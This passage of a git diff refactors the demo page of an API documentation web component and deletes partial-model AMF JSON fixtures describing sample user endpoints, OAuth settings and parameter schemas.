    + `; + } + + /** + * @return {TemplateResult|string} Template for API navigation element + */ + _apiNavigationTemplate() { + return html` + `; + } +} +const instance = new ComponentDemo(); +instance.render(); diff --git a/demo/api-documentation.html b/demo/api-documentation.html index e91ef5b..0b76904 100644 --- a/demo/api-documentation.html +++ b/demo/api-documentation.html @@ -1,204 +1,16 @@ - + - api-documentation - - + API Documentation + - +
    - - - + - const candidates = document.querySelectorAll('style'); - for (let i = 0; i < candidates.length; i++) { - const candidate = candidates[i]; - if (shouldAddDocumentStyle(candidate)) { - CustomStyleInterface.addCustomStyle(candidate); - } - } - }); - diff --git a/demo/api-documentation.js b/demo/api-documentation.js index 404158d..733f82d 100644 --- a/demo/api-documentation.js +++ b/demo/api-documentation.js @@ -1,69 +1,199 @@ import { html } from 'lit-html'; -import { ApiDemoPage } from '@advanced-rest-client/arc-demo-helper'; -import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; -import '@anypoint-web-components/anypoint-item/anypoint-item.js'; -import '@advanced-rest-client/arc-demo-helper/arc-demo-helper.js'; import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; -import '@api-components/api-navigation/api-navigation.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; +import '@api-components/api-request/api-request-panel.js'; import '@api-components/api-request/xhr-simple-request.js'; -import '@anypoint-web-components/anypoint-styles/colors.js'; -import '@anypoint-web-components/anypoint-styles/typography.js'; import '@advanced-rest-client/authorization/oauth2-authorization.js'; -import '@advanced-rest-client/authorization/oauth1-authorization.js'; +import '@api-components/api-server-selector/api-server-selector.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; import '../api-documentation.js'; -class ComponentDemo extends ApiDemoPage { +class ComponentDemo extends AmfDemoBase { constructor() { super(); this.initObservableProperties([ - 'narrow', - 'noTryit', - 'noServerSelector', - 'allowCustomBaseUri', - 'inlineMethods', - 'scrollTarget', - 'selected', - 'selectedType', - 'serverType', - 'serverValue', - 'compatibility', + 'domainId', 'domainType', 'operationId', + 'tryItButton', 'tryItPanel', + 'editorOpened', 'editorOperation', 'overrideBaseUri', + 'serverType', 'serverValue', + 'noServerSelector', 'allowCustomBaseUri', 'renderCustomServer', ]); this.componentName = 'api-documentation'; - this.noTryit = false; this.compatibility = false; - this.inlineMethods = false; + this.editorOpened = false; + this.editorOperation = undefined; + this.domainId = undefined; + this.domainType = undefined; + this.operationId = undefined; + this.tryItButton = true; + this.tryItPanel = false; + this.overrideBaseUri = false; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + // this.redirectUri = 'https://auth.advancedrestclient.com/oauth-popup.html'; this.renderCustomServer = false; this.noServerSelector = false; this.allowCustomBaseUri = false; - this.codeSnippets = true; - this.renderSecurity = true; - - this.redirectUri = 'https://auth.advancedrestclient.com/oauth-popup.html'; - this.scrollTarget = window; - this.demoStates = ['Material', 'Anypoint']; - this._tryitRequested = this._tryitRequested.bind(this); - this._serverHandler = this._serverHandler.bind(this); } + /** + * @param {CustomEvent} e + */ _navChanged(e) { - const { selected, type, passive } = e.detail; - if (passive) { + const { selected, type, endpointId, passive } = e.detail; + if (passive === true) { return; } - this.selected = selected; - this.selectedType = type; + this.domainType = type; + if (type === 'method') { + this.operationId = selected; + this.domainId = endpointId; + } else { + this.operationId = undefined; + this.domainId = selected; + } + } + + /** + * @param {CustomEvent} e + */ + tryitHandler(e) { + const { id } = e.detail; + this.editorOperation = id; + this.editorOpened = true; + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + + contentTemplate() { + return html` + + +

    API documentation

    + ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
    +

    Interactive demo

    +

    + This demo lets you preview the API documentation with various configuration options. +

    +
    + ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()} +
    +
    + `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + ${this.requestEditorDialogTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, amf, } = this; + let finalBaseUri; + if (this.overrideBaseUri) { + finalBaseUri = 'https://custom.api.com'; + } + return html` + + + ${this._addCustomServers()} + + + + + Render try it + + + Render HTTP editor + + + Custom base URI + + + No server selector + + + Allow custom base URI + + + Custom servers + + + `; } _apiListTemplate() { const result = []; [ + ['demo-api', 'Demo API'], ['google-drive-api', 'Google Drive'], ['multi-server', 'Multiple servers'], - ['exchange-experience-api', 'Exchange xAPI'], - ['demo-api', 'Demo API'], ['array-body', 'Body with array test case'], ['nexmo-sms-api', 'Nexmo SMS API'], ['appian-api', 'Applian API'], @@ -80,130 +210,9 @@ class ComponentDemo extends ApiDemoPage { result[result.length] = html` ${label}`; }); - - [ - ['partial-model/documentation', 'Partial model: Documentation'], - ['partial-model/endpoint', 'Partial model: Endpoint'], - ['partial-model/security', 'Partial model: Security'], - ['partial-model/type', 'Partial model: Type'], - ].forEach(([file, label]) => { - result[result.length] = html`${label}`; - }); return result; } - _tryitRequested() { - const toast = document.getElementById('tryItToast'); - // @ts-ignore - toast.opened = true; - } - - _serverHandler(e) { - const { value, type } = e.detail; - this.serverType = type; - this.serverValue = value; - } - - _demoTemplate() { - const { - demoStates, - darkThemeActive, - compatibility, - amf, - narrow, - selected, - selectedType, - scrollTarget, - redirectUri, - inlineMethods, - noTryit, - noServerSelector, - allowCustomBaseUri, - serverType, - serverValue, - } = this; - return html ` -
    -

    Interactive demo

    -

    - This demo lets you preview the API method documentation element with various - configuration options. -

    - - - - ${this._addCustomServers()} - - - - Narrow view - No try it - Render methods - No server selector - Allow custom base URI - Custom servers - -
    `; - } - _addCustomServers() { if (!this.renderCustomServer) { return ''; @@ -213,53 +222,37 @@ class ComponentDemo extends ApiDemoPage {
    Other options
    Mocking service Custom instance`; } - _introductionTemplate() { - return html ` -
    -

    Introduction

    -

    - A web component to render documentation for an API endpoint. The view is rendered - using AMF data model. -

    -
    - `; - } - - _usageTemplate() { - return html ` -
    -

    Usage

    -

    API request editor comes with 2 predefined styles:

    -
      -
    • Material Design (default)
    • -
    • - Legacy - To provide compatibility with legacy Anypoint design, use - legacy property -
    • -
    -
    `; - } - - contentTemplate() { + requestEditorDialogTemplate() { return html` - - - - -

    API documentation

    - ${this._demoTemplate()} - ${this._introductionTemplate()} - ${this._usageTemplate()} + +

    API request

    + + + + +
    + Close +
    +
    `; } } diff --git a/demo/apis/partial-model/documentation.json b/demo/apis/partial-model/documentation.json deleted file mode 100644 index b6c4117..0000000 --- a/demo/apis/partial-model/documentation.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "@id": "#197", - "@type": "schema-org:CreativeWork", - "schema-org:description": "*This API is very important*", - "schema-org:title": "Legal", - "@context": { - "@base": "amf://id", - "hydra": "http://www.w3.org/ns/hydra/core#", - "shacl": "http://www.w3.org/ns/shacl#", - "doc": "http://a.ml/vocabularies/document#", - "schema-org": "http://schema.org/", - "http": "http://a.ml/vocabularies/http#", - "raml-shapes": "http://a.ml/vocabularies/shapes#", - "smap": "http://a.ml/vocabularies/document-source-maps" - } -} \ No newline at end of file diff --git a/demo/apis/partial-model/endpoint.json b/demo/apis/partial-model/endpoint.json deleted file mode 100644 index ad7e332..0000000 --- a/demo/apis/partial-model/endpoint.json +++ /dev/null @@ -1,906 +0,0 @@ -{ - "@id": "#68", - "@type": "http:EndPoint", - "http:path": "/api/user", - "hydra:supportedOperation": [ - { - "@id": "#138", - "@type": "hydra:Operation", - "schema-org:description": "Update a user in db", - "schema-org:name": "Update a user", - "hydra:method": "put", - "hydra:returns": { - "@id": "#139", - "@type": "http:Response", - "http:payload": { - "@id": "#140", - "@type": "http:Payload", - "http:mediaType": "application/json", - "http:schema": { - "@id": "#37" - } - }, - "schema-org:name": "201", - "hydra:statusCode": "201" - } - }, - { - "@id": "#115", - "@type": "hydra:Operation", - "http://a.ml/vocabularies/security#security": { - "@id": "#137", - "@type": "http://a.ml/vocabularies/security#ParametrizedSecurityScheme", - "http://a.ml/vocabularies/security#name": "myOtherAuth", - "http://a.ml/vocabularies/security#scheme": { - "@id": "#63", - "@type": "http://a.ml/vocabularies/security#SecurityScheme", - "http://a.ml/vocabularies/security#name": "myOtherAuth", - "http://a.ml/vocabularies/security#settings": { - "@id": "#64", - "@type": [ - "http://a.ml/vocabularies/security#Settings", - "http://a.ml/vocabularies/security#OAuth2Settings" - ], - "http://a.ml/vocabularies/security#accessTokenUri": "https://authserver.example/token", - "http://a.ml/vocabularies/security#authorizationGrant": "client_credentials", - "http://a.ml/vocabularies/security#authorizationUri": "", - "http://a.ml/vocabularies/security#scope": { - "@id": "#65", - "@type": "http://a.ml/vocabularies/security#Scope", - "http://a.ml/vocabularies/security#name": "accounts" - } - }, - "http://a.ml/vocabularies/security#type": "OAuth 2.0" - } - }, - "schema-org:description": "Create a user in db", - "schema-org:name": "Create a user", - "hydra:expects": { - "@id": "#116", - "@type": "http:Request", - "http:header": { - "@id": "#117", - "@type": "http:Parameter", - "http:binding": "header", - "http:paramName": "Content-Type", - "http:schema": { - "@id": "#118", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#120", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#121", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "application/json" - }, - "shacl:raw": "application/json" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:defaultValue": { - "@id": "#119", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "application/json" - }, - "shacl:defaultValueStr": "application/json", - "shacl:name": "schema" - }, - "schema-org:name": "Content-Type", - "hydra:required": true - }, - "http:payload": { - "@id": "#122", - "@type": "http:Payload", - "http:mediaType": "application/json", - "http:schema": { - "@id": "#123", - "@type": [ - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape", - "doc:DomainElement" - ], - "shacl:closed": false, - "shacl:name": "schema", - "shacl:property": [ - { - "@id": "#124", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#125", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#126", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#127", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Pepe" - }, - "shacl:raw": "Pepe" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "name" - }, - "shacl:minCount": 1, - "shacl:name": "name", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#name" - } - }, - { - "@id": "#133", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#134", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "birthday" - }, - "shacl:minCount": 1, - "shacl:name": "birthday", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#birthday" - } - }, - { - "@id": "#128", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#129", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#130", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#131", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Perez" - }, - "shacl:raw": "Perez" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "lastname" - }, - "shacl:minCount": 1, - "shacl:name": "lastname", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#lastname" - } - }, - { - "@id": "#132", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#12" - }, - "shacl:minCount": 1, - "shacl:name": "address", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#address" - } - } - ] - } - } - }, - "hydra:method": "post", - "hydra:returns": { - "@id": "#135", - "@type": "http:Response", - "http:payload": { - "@id": "#136", - "@type": "http:Payload", - "http:mediaType": "application/json", - "http:schema": { - "@id": "#37" - } - }, - "schema-org:name": "201", - "hydra:statusCode": "201" - } - }, - { - "@id": "#69", - "@type": "hydra:Operation", - "http://a.ml/vocabularies/security#security": { - "@id": "#114", - "@type": "http://a.ml/vocabularies/security#ParametrizedSecurityScheme", - "http://a.ml/vocabularies/security#name": "auth", - "http://a.ml/vocabularies/security#scheme": { - "@id": "#55", - "@type": "http://a.ml/vocabularies/security#SecurityScheme", - "http://a.ml/vocabularies/security#name": "auth", - "http://a.ml/vocabularies/security#settings": { - "@id": "#56", - "@type": [ - "http://a.ml/vocabularies/security#Settings", - "http://a.ml/vocabularies/security#OAuth1Settings" - ], - "http://a.ml/vocabularies/security#additionalProperties": { - "@id": "#57", - "@type": "http://a.ml/vocabularies/data#Object", - "http://a.ml/vocabularies/data#accessTokenUri": { - "@id": "#58", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "https://authserver.example/token" - }, - "http://a.ml/vocabularies/data#authorizationGrants": { - "@id": "#59", - "@type": [ - "http://www.w3.org/1999/02/22-rdf-syntax-ns#Seq", - "http://a.ml/vocabularies/data#Array" - ], - "http://a.ml/vocabularies/data#pos0": { - "@id": "#60" - }, - "http://www.w3.org/1999/02/22-rdf-syntax-ns#member": { - "@id": "#60", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "client_credentials" - } - }, - "http://a.ml/vocabularies/data#scopes": { - "@id": "#61", - "@type": [ - "http://www.w3.org/1999/02/22-rdf-syntax-ns#Seq", - "http://a.ml/vocabularies/data#Array" - ], - "http://a.ml/vocabularies/data#pos0": { - "@id": "#62" - }, - "http://www.w3.org/1999/02/22-rdf-syntax-ns#member": { - "@id": "#62", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "accounts" - } - } - }, - "http://a.ml/vocabularies/security#authorizationUri": "", - "http://a.ml/vocabularies/security#requestTokenUri": "requestTokenUriValue", - "http://a.ml/vocabularies/security#signature": [ - "signature2", - "signature1" - ], - "http://a.ml/vocabularies/security#tokenCredentialsUri": "tokenCredentialsUriValue" - }, - "http://a.ml/vocabularies/security#type": "OAuth 1.0" - } - }, - "schema-org:description": "Get all users from db", - "schema-org:name": "Get all users", - "hydra:expects": { - "@id": "#70", - "@type": "http:Request", - "http:header": [ - { - "@id": "#108", - "@type": "http:Parameter", - "http:binding": "header", - "http:paramName": "Authorization", - "http:schema": { - "@id": "#109", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#110", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#111", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Bearer 1d230676-a812-4438-bfeb-e46bad62bdf1" - }, - "shacl:raw": "Bearer 1d230676-a812-4438-bfeb-e46bad62bdf1" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "schema" - }, - "schema-org:name": "Authorization", - "hydra:required": true - }, - { - "@id": "#104", - "@type": "http:Parameter", - "http:binding": "header", - "http:paramName": "Content-Type", - "http:schema": { - "@id": "#105", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "doc:examples": { - "@id": "#106", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#107", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "application/json" - }, - "shacl:raw": "application/json" - }, - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "schema" - }, - "schema-org:name": "Content-Type", - "hydra:required": true - } - ], - "http:parameter": [ - { - "@id": "#71", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "booleanParameter", - "http:schema": { - "@id": "#72", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#boolean" - }, - "shacl:name": "schema" - }, - "schema-org:name": "booleanParameter", - "hydra:required": false - }, - { - "@id": "#82", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "numberParameter", - "http:schema": { - "@id": "#83", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "raml-shapes:number" - }, - "shacl:name": "schema" - }, - "schema-org:name": "numberParameter", - "hydra:required": false - }, - { - "@id": "#76", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "nestedArrayParameter", - "http:schema": { - "@id": "#77", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ArrayShape", - "raml-shapes:MatrixShape" - ], - "raml-shapes:items": { - "@id": "#78", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ArrayShape" - ], - "raml-shapes:items": { - "@id": "#79", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "items" - }, - "shacl:name": "items" - }, - "shacl:name": "schema" - }, - "schema-org:name": "nestedArrayParameter", - "hydra:required": false - }, - { - "@id": "#84", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "enumParemeter", - "http:schema": { - "@id": "#85", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:in": { - "@id": "#85/list", - "@type": "http://www.w3.org/2000/01/rdf-schema#Seq", - "http://www.w3.org/2000/01/rdf-schema#_1": { - "@id": "#87", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "EnumValue1" - }, - "http://www.w3.org/2000/01/rdf-schema#_2": { - "@id": "#88", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "EnumValue2" - }, - "http://www.w3.org/2000/01/rdf-schema#_3": { - "@id": "#89", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "EnumValue3" - } - }, - "shacl:name": "type" - }, - "schema-org:name": "enumParemeter", - "hydra:required": false - }, - { - "@id": "#73", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "arrayParameter", - "http:schema": { - "@id": "#74", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ArrayShape" - ], - "raml-shapes:items": { - "@id": "#75", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "items" - }, - "shacl:name": "schema" - }, - "schema-org:name": "arrayParameter", - "hydra:required": false - }, - { - "@id": "#91", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "objectParameter", - "http:schema": { - "@id": "#92", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape" - ], - "shacl:closed": false, - "shacl:name": "schema", - "shacl:property": [ - { - "@id": "#97", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#98", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:in": { - "@id": "#98/list", - "@type": "http://www.w3.org/2000/01/rdf-schema#Seq", - "http://www.w3.org/2000/01/rdf-schema#_1": { - "@id": "#99", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "ObjectPropertyEnumValue1" - }, - "http://www.w3.org/2000/01/rdf-schema#_2": { - "@id": "#100", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "ObjectPropertyEnumValue2" - }, - "http://www.w3.org/2000/01/rdf-schema#_3": { - "@id": "#101", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "ObjectPropertyEnumValue3" - } - }, - "shacl:name": "objectProperty3" - }, - "shacl:minCount": 1, - "shacl:name": "objectProperty3", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#objectProperty3" - } - }, - { - "@id": "#95", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#96", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "raml-shapes:number" - }, - "shacl:name": "objectProperty2" - }, - "shacl:minCount": 1, - "shacl:name": "objectProperty2", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#objectProperty2" - } - }, - { - "@id": "#93", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#94", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "objectProperty1" - }, - "shacl:minCount": 1, - "shacl:name": "objectProperty1", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#objectProperty1" - } - } - ] - }, - "schema-org:name": "objectParameter", - "hydra:required": false - }, - { - "@id": "#80", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "stringParameter", - "http:schema": { - "@id": "#81", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "schema" - }, - "schema-org:name": "stringParameter", - "hydra:required": true - } - ] - }, - "hydra:method": "get", - "hydra:returns": { - "@id": "#112", - "@type": "http:Response", - "http:payload": { - "@id": "#113", - "@type": "http:Payload", - "http:mediaType": "application/json", - "http:schema": { - "@id": "#37", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape" - ], - "shacl:closed": false, - "shacl:name": "User", - "shacl:property": [ - { - "@id": "#44", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#12", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape" - ], - "doc:examples": { - "@id": "#17", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#18", - "@type": "http://a.ml/vocabularies/data#Object", - "http://a.ml/vocabularies/data#number": { - "@id": "#19" - }, - "http://a.ml/vocabularies/data#street": { - "@id": "#20" - } - }, - "shacl:raw": "\n number: 20\n street: Pepe\n" - }, - "shacl:closed": false, - "shacl:name": "Address", - "shacl:property": [ - { - "@id": "#15", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#16", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "raml-shapes:number" - }, - "shacl:maxInclusive": 99999999, - "shacl:minInclusive": 1, - "shacl:name": "number" - }, - "shacl:minCount": 1, - "shacl:name": "number", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#number" - } - }, - { - "@id": "#13", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#14", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "street" - }, - "shacl:minCount": 1, - "shacl:name": "street", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#street" - } - } - ] - }, - "shacl:minCount": 1, - "shacl:name": "address", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#address" - } - }, - { - "@id": "#38", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#39", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:maxLength": 50, - "shacl:name": "name" - }, - "shacl:minCount": 1, - "shacl:name": "name", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#name" - } - }, - { - "@id": "#42", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#43", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#date" - }, - "shacl:name": "birthday" - }, - "shacl:minCount": 1, - "shacl:name": "birthday", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#birthday" - } - }, - { - "@id": "#45", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#46", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:in": { - "@id": "#46/list", - "@type": "http://www.w3.org/2000/01/rdf-schema#Seq", - "http://www.w3.org/2000/01/rdf-schema#_1": { - "@id": "#47", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Admin" - }, - "http://www.w3.org/2000/01/rdf-schema#_2": { - "@id": "#48", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "User" - }, - "http://www.w3.org/2000/01/rdf-schema#_3": { - "@id": "#49", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "System" - } - }, - "shacl:name": "type" - }, - "shacl:minCount": 0, - "shacl:name": "type", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#type" - } - }, - { - "@id": "#40", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#41", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:minLength": 10, - "shacl:name": "password" - }, - "shacl:minCount": 1, - "shacl:name": "password", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#password" - } - } - ] - } - }, - "schema-org:description": "asd", - "schema-org:name": "200", - "hydra:statusCode": "200" - } - } - ], - "@context": { - "@base": "amf://id", - "hydra": "http://www.w3.org/ns/hydra/core#", - "shacl": "http://www.w3.org/ns/shacl#", - "doc": "http://a.ml/vocabularies/document#", - "schema-org": "http://schema.org/", - "http": "http://a.ml/vocabularies/http#", - "raml-shapes": "http://a.ml/vocabularies/shapes#", - "smap": "http://a.ml/vocabularies/document-source-maps" - } -} diff --git a/demo/apis/partial-model/security.json b/demo/apis/partial-model/security.json deleted file mode 100644 index 33cd84b..0000000 --- a/demo/apis/partial-model/security.json +++ /dev/null @@ -1,69 +0,0 @@ -{ - "@id": "#55", - "@type": "http://a.ml/vocabularies/security#SecurityScheme", - "http://a.ml/vocabularies/security#name": "auth", - "http://a.ml/vocabularies/security#settings": { - "@id": "#56", - "@type": [ - "http://a.ml/vocabularies/security#Settings", - "http://a.ml/vocabularies/security#OAuth1Settings" - ], - "http://a.ml/vocabularies/security#additionalProperties": { - "@id": "#57", - "@type": "http://a.ml/vocabularies/data#Object", - "http://a.ml/vocabularies/data#accessTokenUri": { - "@id": "#58", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "https://authserver.example/token" - }, - "http://a.ml/vocabularies/data#authorizationGrants": { - "@id": "#59", - "@type": [ - "http://www.w3.org/1999/02/22-rdf-syntax-ns#Seq", - "http://a.ml/vocabularies/data#Array" - ], - "http://a.ml/vocabularies/data#pos0": { - "@id": "#60" - }, - "http://www.w3.org/1999/02/22-rdf-syntax-ns#member": { - "@id": "#60", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "client_credentials" - } - }, - "http://a.ml/vocabularies/data#scopes": { - "@id": "#61", - "@type": [ - "http://www.w3.org/1999/02/22-rdf-syntax-ns#Seq", - "http://a.ml/vocabularies/data#Array" - ], - "http://a.ml/vocabularies/data#pos0": { - "@id": "#62" - }, - "http://www.w3.org/1999/02/22-rdf-syntax-ns#member": { - "@id": "#62", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "accounts" - } - } - }, - "http://a.ml/vocabularies/security#authorizationUri": "", - "http://a.ml/vocabularies/security#requestTokenUri": "requestTokenUriValue", - "http://a.ml/vocabularies/security#signature": [ - 